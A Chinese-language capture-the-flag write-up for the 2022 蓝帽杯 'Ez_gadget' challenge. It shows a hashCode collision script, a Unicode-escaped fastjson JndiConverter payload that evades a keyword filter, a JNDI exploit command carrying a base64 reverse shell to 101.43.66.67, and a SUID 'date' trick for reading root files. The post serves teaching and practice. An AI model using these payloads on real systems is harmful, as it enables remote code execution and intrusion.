2022年蓝帽杯Ez_gadget
2022-07-13 15:14:00 # Java # CTF

Ez_gadget

题目给了附件,jd-gui反编译一下,主要的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.example.spring;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.example.spring.secret;
import java.util.Objects;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JSONController {
@ResponseBody
@RequestMapping({"/"})
public String hello() {
return "Your key is:" + secret.getKey();
}

@ResponseBody
@RequestMapping({"/json"})
public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception {
if (str != null &&
Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) {
String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*";
Pattern p = Pattern.compile(pattern, 2);
boolean StrMatch = p.matcher(input).matches();
if (StrMatch)
return "Hacker get out!!!";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(input);
}
return "hello";
}
}

image-20220709144338445

这里访问首页会得到一串Key,然后访问/json路由,会对传入的strhashcodeKeyhashcode进行比较,如果hashcode相等而值不相等的话,就可以进入if。这里直接网上找个脚本,然后hash碰撞就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package cz.topolik.hashcodecollisions;

import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;

/**
* @author Tomas Polesovsky
*
* Find String.hashCode() collisions to a given string as a postfix to a chosen word
*/
public class StringHashCodeCollisionsPostfixator {

public static void main(String[] args) {
String originalString = "ZeJ3LMiSCZ5RLdYN";
String prefix = "";
int depth = 16;

if (args.length > 2) {
originalString = args[0];
prefix = args[1];
depth = Integer.parseInt(args[2]);
} else {
System.out.println("Syntax: java StringHashCodeCollisionsPostfixator [originalString] [prefix] [depth >= 1]");
}


long time = System.currentTimeMillis();

findCollision(prefix, originalString, depth);

System.out.println("Time: " + (System.currentTimeMillis() - time));
}


private static void findCollision(String word, String originalWord, int depth) {
int targetHashCode = originalWord.hashCode();

System.out.println("Searching collisions for target: '" + word + "' (hashCode: " + word.hashCode() + ") with source: " + originalWord + " (hashcode: " + targetHashCode + ") into depth: " + depth);

int currentHC = word.hashCode();

List<Thread> threads = new ArrayList<>(depth);

for (int i = 1; i <= depth; i++) {
final int currentDepth = i;

threads.add(
new Thread(()->{
LinkedList<Character> stack = new LinkedList<>();

if (!compute(targetHashCode, currentHC, currentDepth, stack)) {
System.out.println("Not found in depth " + currentDepth);
return;
}

StringBuffer result = new StringBuffer();
result.append(word);
for (Character ch : stack) {
result.append(ch);
}

String collidingWord = result.toString();

StringBuffer sb = new StringBuffer();
sb.append("Found in depth " + currentDepth + ": ");
sb.append(collidingWord);
sb.append(" hashCode(): ");
sb.append(collidingWord.hashCode());
System.out.println(sb.toString());

}
));
}


int availableProcessors = Runtime.getRuntime().availableProcessors();
if (availableProcessors > 1) {
availableProcessors--;
}

int pos = 0;
while(pos < threads.size()) {
int alive = 0;
for (int i = 0; i < pos; i++) {
alive += threads.get(i).isAlive() ? 1 : 0;
}
for (int i = 0; i < (availableProcessors - alive); i++) {
if (pos < threads.size()) {
threads.get(pos++).start();
}
}

try {
Thread.currentThread().sleep(10);
} catch (InterruptedException e) {}
}

for (int i = 0; i < threads.size(); i++) {
try {
threads.get(i).join();
} catch (InterruptedException e) {}
}
}

private static boolean compute(int targetHashCode, int currentHashCode, int depth, LinkedList<Character> stack) {
if (depth == 0) {
return targetHashCode == currentHashCode;
}

// use 31 printable chars only
for (int ch = 64; ch < 96; ch++) {
int hash = currentHashCode*31 + ch;

if (hash == targetHashCode) {
stack.push(new Character((char) (ch&0xff)));
return true;
}

boolean result = compute(targetHashCode, hash, depth-1, stack);

if (result) {
stack.push(new Character((char) (ch&0xff)));
return true;
}
}

return false;
}
}

image-20220709144916763

得到AZUSCMA。然后就是一个正则匹配,不允许出现rmijndildap等字样,在fastjson中可以使用unicode来绕过这些限制。然后根据pom.xml可以得到fastjson是1.2.62版本,这个版本有一个非常常见的payload:

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://101.43.66.67:1099/17zvqg"}";

由于这里禁止了rmi和jndi,所以需要unicode编码一下:

1
2
3
http://eci-2zegnz60o2ksenaot3j4.cloudeci1.ichunqiu.com:8888/?str=AZUSCMA
POST:
input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"\u0072\u006d\u0069://101.43.66.67:1099/17zvqg"}

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar起一个rmi服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "101.43.66.67"

image-20220709144148155

然后直接打过去,成功反弹shell

image-20220709144235244

image-20220709144417452

然后flag.txt在root目录,没有权限读取,然后发现suiddate,参考链接: https://gtfobins.github.io/gtfobins/date/#sudo

image-20220709152423997

image-20220709144532489

采用suid来读取文件

1
2
LFILE=/root/flag.txt
date -f $LFILE

image-20220709144611424

得到flag:

1
flag{eebb424f-49c0-4a73-b1df-70ae1d08b3a8}